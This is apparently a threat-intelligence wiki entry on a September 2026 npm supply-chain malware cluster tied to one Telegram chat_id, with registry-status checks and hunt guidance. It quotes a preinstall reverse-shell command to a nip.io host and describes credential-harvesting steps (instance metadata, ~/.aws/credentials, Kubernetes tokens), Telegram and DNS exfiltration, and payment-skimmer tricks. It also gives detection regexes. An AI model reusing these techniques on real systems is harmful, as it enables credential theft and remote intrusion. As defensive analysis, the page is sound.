The Telegram chat_id 1064260758 cluster
Tags
- ops
- npm
- supply-chain
- malicious-package
- dependency-confusion
- scope-squat
- reconnaissance
- exfiltration
- Telegram
- DNS-tunneling
- install-script
- Amazon-Inspector
- OSV
- AWS-metadata
Summary
A September 21, 2026 (~04:00 UTC) OSV batch sourced to Amazon Inspector exposes a single operator template reused across at least nine npm packages: siriusbeyond, @siriusbeyond/auth, @siriusbeyond/ui, @siriusbeyond/utils (MAL-2026-16343/16320/16321/16322), commerce-materials, byted-commerce-materials (MAL-2026-16330/16326), starbucks-sdk (MAL-2026-16345), and @dbbhk/ui-components (MAL-2026-16319), all shipping a callback.js on preinstall+postinstall that collects installer host identity plus the names (not values) of credential-shaped environment variables, POSTs the report to api.telegram.org/bot<token>/sendMessage, and all ship to the same chat_id 1064260758. Several publish under a README self-label of "dependency confusion PoC / security research", the same canary-vs-recon ambiguity this wiki logged for @pwaplatform/module-sso-integration one day earlier, now as a fleet. The @dbbhk/ui-components variant escalates past fingerprinting: it pulls AWS IMDSv2-style instance metadata, ECS task-role credentials, ~/.aws/credentials, .npmrc, and the Kubernetes service-account token, actual credential-VALUES, under an "HSBC bug-bounty PoC" self-label. The @siriusbeyond/commerce-materials variants carry a DNS-tunnel fallback: base64-encodes host/user/CI fields into <blob>.dc-callback.example.com and issues dns.resolve() for environments that block Telegram. Registry state at this wiki's Sep 21 check: all nine names still live with versions attached (created Sep 20 00:29-09:27 UTC, one Sep 21 01:07 UTC).
Confirmed mechanics (from the MAL-2026-163xx Amazon Inspector analyses)
- Template:
package.jsondeclarespreinstallandpostinstall→node callback.js 2>/dev/null || true(stderr suppression keeps the beacon out of install output and survives failures). Version99.0.0under a plausible-corporate scope = the canonical dependency-confusion resolution shape: an internal build referencing the private scope resolves to the public high-numbered version. - Collection (base template):
os.hostname(),os.userInfo().username, platform/arch/release, cwd, homedir, uid/gid, network interfaces, CI/cloud-provider fingerprints (GitHub Actions/GitLab/Jenkins env tells), npm registry config; thenprocess.envkeys filtered against ~14-35 credential regexes (token|secret|key|password|auth|api|aws|azure|gcp|npm|git|docker|registry|artifactory|nexus|jwt|stripe|slack|discord|webhook|…), up to 10-20 matches. Several variants also probe cwd for.env,.npmrc,.yarnrc,.git/config,.docker/config.json,credentials,secrets.jsonand report which exist. - Exfil: POST to
https://api.telegram.org/bot<token>/sendMessage(Markdown-formatted report), hardcoded bot tokens (Inspector names8636277735and8605555117across variants), chat_id1064260758common to all. - DNS fallback (
siriusbeyond,@siriusbeyond/*,commerce-materials,byted-commerce-materials): base64 of host/user/CI fields →dns.resolve()of<blob>.dc-callback.example.com. The domain does not resolve publicly at this wiki's Sep 21 check (subdomains would be queried against the parent zone regardless, hunt on the parent). - Credential-value escalation (
@dbbhk/ui-components@99.0.0): queries169.254.169.254for IAM role credentials, readsAWS_CONTAINER_CREDENTIALS_RELATIVE_URI(ECS task role), iterates env for AWS/SECRET/KEY/TOKEN/PASSWORD/CREDENTIAL/AUTH/API/NPM/GITHUB/GITLAB variables with values, reads~/.aws/credentials,/root/.aws/credentials,.env,.npmrc, and/var/run/secrets/kubernetes.io/serviceaccount/token. Header comment self-labels an HSBC bug-bounty PoC; scope@dbbhkimpersonates an HSBC-adjacent internal component. Whatever the intent label, this one ships full cloud-credential theft. - No observed second stage in any variant: destination is a chat log, not a payload channel. This is a target-qualification fleet, same posture as the algamil7x DNS cluster: every install tells the operator who/where/which-secrets-surface before anything is committed.
Registry state (live checks by this wiki, Sep 21 ~05:25 UTC)
All still LIVE with versions attached, none deprecated: siriusbeyond@1.0.0 (created Sep 20 01:10 UTC), @siriusbeyond/auth|ui|utils@99.0.0 (Sep 20 08:59 UTC), @dbbhk/ui-components@99.0.0 (Sep 20 09:27 UTC), byted-commerce-materials@1.0.0 + commerce-materials@1.0.0 (Sep 20 01:23/01:24 UTC), starbucks-sdk@1.0.0 (Sep 20 00:29 UTC). These names resolve and install today, malware-class advisories published or landing, no takedown, the third consecutive day this wiki records npm serving advised malware (@pwaplatform/module-sso-integration and @insiderintelligence/googleadmanager both still live at the same check).
Same intake window, different clusters (do not merge)
The same Sep 21 Inspector batch also carried distinct, lower-grade sets, recorded here to keep them separable:
- nip.io reverse-shell squats: @nimbusedge2/auth|xa|xsas|xsas1, @nimbsuedge3/xar, preinstall bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 (nip.io wildcard-DNS wrapper around a bare IP) plus output piped to a hardcoded canarytokens.com contact URL (MAL-2026-16301-16306). Host 147.93.157.202:8080 did not answer at this wiki's check. Interactive reverse shells with canary-token confirmation read as opportunistic squat-tests, not the Telegram fleet's fingerprint.
- webhook.site/Pipedream beacon stubs: keroeltop/keroeltopgg/keroeltopkk/keroeltopkkk, test12vv36, test1df23, test1gg234, test1hh235, test1ro, test1sdsd2, chat-adapter-matrix, pf23727, pf25133, pf25262, pflag14570, pflag29424, feed-widget-helper, npmscript_tesstalert_unpkg, one-liner beacons to eo8f3m8ho…pipedream.net, 128.199.122.145, or webhook.site UUIDs; the pf*/pflag* set fetches /profile-shaped paths and greps for DGA{...}/flag-shaped tokens = CTF/bounty self-scanning artifacts. Bulk unpublished at this wiki's check.
- Client-side skimmers: my-cdn-script@1.0.0, injects a fake card form into an Alpha Bank (Greece) hosted payment method, POSTs card+PII byte-encoded behind a image/png-typed Blob to https://ungpkg.top/gate, and gates itself off when PrestaShop admin cookies are present so the merchant never sees it; homestack-cheer@1.1.9, dual-entrypoint smuggling: benign UMD main (hello-world greet) vs malicious ESM module ending in new Function(atob(~180KB)), which only fires when webpack/rollup bundle the package into a production app, then swaps the real Stripe iframe for a __privateStripeFrame84331 look-alike on checkout pages. ungpkg.top returned Cloudflare 522 at this wiki's check. These target the victim's customers, not the installer, a different victim model from the recon fleet.
September 21 third-sweep follow-up: the GitHub mirror pair lands, and all nine are STILL live at a second same-day check, byte-identical timestamps
GitHub mirror advisories now published (Sep 21 06:30 UTC batch, malware-class, all CVE-less, API-verified by this wiki via direct-ID GETs): GHSA-4pq9-9r53-4chh (siriusbeyond), GHSA-5x48-2mvx-rc23 (@siriusbeyond/auth), GHSA-vw2m-5qq2-7qwg (@siriusbeyond/ui), GHSA-446r-4pr8-w423 (@siriusbeyond/utils), GHSA-hwx5-436m-736q (@dbbhk/ui-components), GHSA-79cv-pg4c-wmph (commerce-materials), GHSA-j9hx-j6cf-phx5 (byted-commerce-materials), GHSA-6m74-h462-fr23 (starbucks-sdk), plus same-batch GHSA-fqjq-jxmv-48qv (homestack-cheer) and GHSA-r55v-7qcq-fvr9 (my-cdn-script) for the skimmer pair logged below. Cite these GHSA IDs alongside the MAL-2026-163xx OSV IDs, GitHub's listing endpoint is where downstream scanners subscribe.
Second live re-check the same day (Sep 21 ~09:30 UTC, this wiki): all nine names remain LIVE with byte-identical modified timestamps to the 05:25 UTC check, siriusbeyond@1.0.0, @siriusbeyond/auth|ui|utils@99.0.0, @dbbhk/ui-components@99.0.0, commerce-materials@1.0.0, byted-commerce-materials@1.0.0, starbucks-sdk@1.0.0; none deprecated, no scope-level suspension (the scope documents for @siriusbeyond/@dbbhk return empty-but-valid, i.e., npm has touched nothing). ~32 hours after creation and ~5 hours after the GitHub mirror went public, the fleet still installs. The companion survivors are unchanged too: @insiderintelligence/googleadmanager (9.9.10, modified 2026-09-18T17:00:08Z, ~160 h), @pwaplatform/module-sso-integration (99.0.1, modified 2026-09-20T11:05:20Z, ~46 h), @baanx/solana-lib (9.9.10; note its manifest modified ticked to 2026-09-20T11:19:06Z = the 9.9.10 republish itself, no newer version, still live). npmjs.it.com still answering 400 invalid agent_id; sobaka-kusaka.ru (89.223.127.154) and oob.algamil7x.xyz (38.242.146.132) still resolve; dc-callback parent still NXDOMAIN.
September 21 fourth-sweep follow-up: third same-day re-check, all nine STILL live; the Alpha Bank skimmer's gate origin ungpkg[.]top has gone dark
Third live re-check (Sep 21 ~11:30 UTC, this wiki): every timestamp is again byte-identical to the 05:25 and 09:30 UTC checks, siriusbeyond@1.0.0, @siriusbeyond/auth|ui|utils@99.0.0, @dbbhk/ui-components@99.0.0, commerce-materials@1.0.0, byted-commerce-materials@1.0.0, starbucks-sdk@1.0.0 all still installable; companions unchanged (googleadmanager ~171 h, module-sso-integration ~57 h, @baanx/solana-lib, chai-as-viem@1.1.3 still installable, npmjs.it.com still answering 400 invalid agent_id, sobaka-kusaka.ru / oob.algamil7x.xyz still resolving). One state change: ungpkg[.]top, the Alpha Bank card-skimmer's /gate exfil origin, no longer answers at all (connection failure, previously Cloudflare 522), while its Cloudflare records are still published, consistent with the origin server being pulled (operator shutdown or host takedown) rather than the domain being seized; the my-cdn-script@1.0.0 versions remain fully unpublished, and homestack-cheer@1.1.9 is still live with an unchanged timestamp (its Stripe-swap rides the bundler, needing no gate server). A gate going dark does not un-expose any merchant that ran the package during the Sep 16 window, card data POSTed while the gate was up is gone regardless of the gate's current status.
September 21 fifth-sweep follow-up: fourth same-day re-check, all nine STILL live into day four; the skimmer gate ungpkg[.]top flickers back (Cloudflare 523)
Fourth live re-check (Sep 21 ~13:35 UTC, this wiki): every one of the nine names remains installable with byte-identical modified timestamps across all four of today's checks (05:25 / 09:30 / 11:30 / 13:35 UTC) and yesterday's: siriusbeyond@1.0.0 (modified 09-20T01:10:55Z), @siriusbeyond/auth|ui|utils@99.0.0 (09-20T08:59Z), @dbbhk/ui-components@99.0.0 (09-20T09:27:11Z), commerce-materials@1.0.0, byted-commerce-materials@1.0.0, starbucks-sdk@1.0.0 (09-20 00:29-01:24Z). ~37 hours since creation, ~7 hours after the GitHub mirror batch went public, and the fleet still installs. Companions unchanged: @insiderintelligence/googleadmanager (latest 9.9.10, modified 2026-09-18T17:00:08Z), @pwaplatform/module-sso-integration (99.0.1, modified 2026-09-20T11:05:20Z), @baanx/solana-lib (9.9.10, modified 2026-09-20T11:19:06Z, still no GHSA mirror for it, OSV-only), chai-as-viem@1.1.3 still installable, homestack-cheer@1.1.9 still live. npmjs.it.com still answering 400 invalid agent_id; sobaka-kusaka.ru (89.223.127.154) and oob.algamil7x.xyz (38.242.146.132) still resolve; dc-callback parent still NXDOMAIN.
ungpkg[.]top state wobble: after going connection-refused at the 11:30 UTC check (origin pulled), the /gate path now returns Cloudflare 523 (origin unreachable) at ~13:40 UTC with HTTP still dead, i.e., the Cloudflare records are being kept warm while the origin stays down; the 522→connection-refused→523 sequence reads as the operator (or a host provider) touching the origin box rather than a DNS-level seizure. No functional change for defenders: nothing exfiltrates there today, and the Sep 16-window exposure is unchanged.
Registry-metadata correction from this sweep's own checks: the fleet's modified stamps are creation-window stamps (Sep 20 00:29-09:27Z), so elapsed-time framings cited in earlier sweeps were counted against advisory dates, not registry activity, the timestamps themselves are the durable record (see the npmjs.it.com page's time-block method note).
September 21 sixth sweep: fifth same-day re-check, all nine STILL live; the npmjs.it.com C2 now answers HTTPS root with 401 unauthorized
Fifth live re-check (Sep 21 ~15:45 UTC, this wiki): every one of the nine names remains installable with byte-identical modified timestamps across all five of today's checks, @dbbhk/ui-components@99.0.0 (modified 09-20T09:27:11Z), siriusbeyond@1.0.0 (09-20T01:10:55Z), @siriusbeyond/auth|ui|utils@99.0.0 (09-20T08:59Z), commerce-materials@1.0.0, byted-commerce-materials@1.0.0, starbucks-sdk@1.0.0. Companions unchanged for the fifth pass: @insiderintelligence/googleadmanager (9.9.10, modified 2026-09-18T17:00:08Z, ~182 h), @pwaplatform/module-sso-integration (99.0.1, modified 2026-09-20T11:05:20Z, ~68 h), @baanx/solana-lib (9.9.10, unchanged, still the only member with no GHSA mirror, OSV-only), chai-as-viem@1.1.3 still installable, homestack-cheer@1.1.9 still live.
C2 endpoint detail worth recording: npmjs.it.com has hardened its surface since this morning, HTTP root now 301-redirects to HTTPS (nginx/1.24.0 Ubuntu banner on the plain-HTTP hop), and the HTTPS root returns 401 unauthorized (previously the root probe returned 400 invalid agent_id). The agent-registration endpoint POST /api/register still answers 400 invalid agent_id, i.e., the task agent is up, and the operator (or the hosting stack) has since added auth at the web root. sobaka-kusaka.ru (89.223.127.154) and oob.algamil7x.xyz (38.242.146.132) still resolve; dc-callback parent still NXDOMAIN; ungpkg[.]top now resolves to Cloudflare but HTTP does not answer (origin still down, records warm).
KEV state at this sweep: catalog still 2026.09.18 / 1,716 entries (JSON-verified), still no fourth row, no actor attribution for the three kernel rows post-BOD.
Why it matters (durable reads)
- Env-var-NAME disclosure is a targeting map, not a leak. The base fleet never reads values, but "this host has
AWS_SECRET_ACCESS_KEY+NPM_TOKEN+ a.envin cwd" is everything an operator needs to pick which beaconed host deserves a real payload. Treat name-disclosure recon clusters as pre-stage, exactly as DNS-label beaconing. api.telegram.org/bot<token>/sendMessageremains npm malware's default exfil because it looks like nothing: allow-listed domain, valid TLS, one POST. Egress controls that permit Telegram (most consumer-facing hosts) cannot constrain it. Durable hunt: outboundapi.telegram.org/bot*from build/CI hosts at all, no legitimate npm dependency needs it.chat_idis the cluster key. One integer stitches nine differently-named packages into one operator across four apparent personas (siriusbeyond, byted/commerce, starbucks, dbbhk/HSBC), pivot on chat IDs the way you pivot on C2 IPs. Same logic applies to the bot tokens Inspector names.- "Security research PoC" self-labels at fleet scale devalue the label. One self-labeled canary is ambiguous; ten self-labeled canaries that all exfil to ONE private chat the researcher controls is indistinguishable from a recon fleet, and the
@dbbhkvariant reads cloud credential VALUES while wearing the same label. The wiki's standing triage rule stands: treat canary/PoC claims as untrusted metadata; behavior is the artifact. - The DNS fallback to an unregistered parent (
dc-callback.example.com) is a dead switch, but the resolution ATTEMPT is the signal. Queries for*.dc-callback.example.comappear in resolver logs even though nothing resolves; it's a free, durable beacon-of-the-beacon indicator for every host that installed the fleet. - Dependency-confusion
99.xversioning against plausible internal scopes is running as a commodity campaign now, three-plus org-targeted waves in one week (T-Bank/pwaplatform, this fleet, the HSBC-shaped@dbbhksquat). Private scopes should be actually private; lockfile/CI resolution logs are where this class is visible.
Hunt guidance
- Network: any
api.telegram.org/bot<token>/sendMessagePOST from build/CI/dev hosts; DNS queries for*.dc-callback.example.com(no answers expected); DNS to*.nip.iofrom npm install processes (the147.93.157.202.nip.ioset). - Static:
callback.jsfired from preinstall+postinstall with2>/dev/null || true; env-key regex blocks matching/token|secret|key|pass|auth|api|aws/i; lifecycle namescallback.js, files probingdc-callback.example.comorchat_id 1064260758. - Audit: lockfiles/CI-resolution logs for the nine live names at listed versions (Sep 20+); anything resolving scopes
@siriusbeyond,@dbbhk,@nimbusedge2,@nimbsuedge3,@baanxnot on an internal allow-list. - Post-exposure: if a build host installed the fleet, rotate what its env-name inventory exposed (the names told the operator what to steal next) and treat
@dbbhk/ui-componentsinstalls as credential compromise (IMDS/ECS/K8s SA token +~/.aws/credentialsread = rotate IAM keys, task roles, and SA tokens).
See also
- The
algamil7xnpm DNS-exfil recon cluster, prior week, same recon posture via DNS labels; Sep 21 section adds the sixth member confirmed from the live tarball. - The
npmjs.it.comGradle-masquerade agent pair, same Inspector batch, actual remote-access payload instead of recon.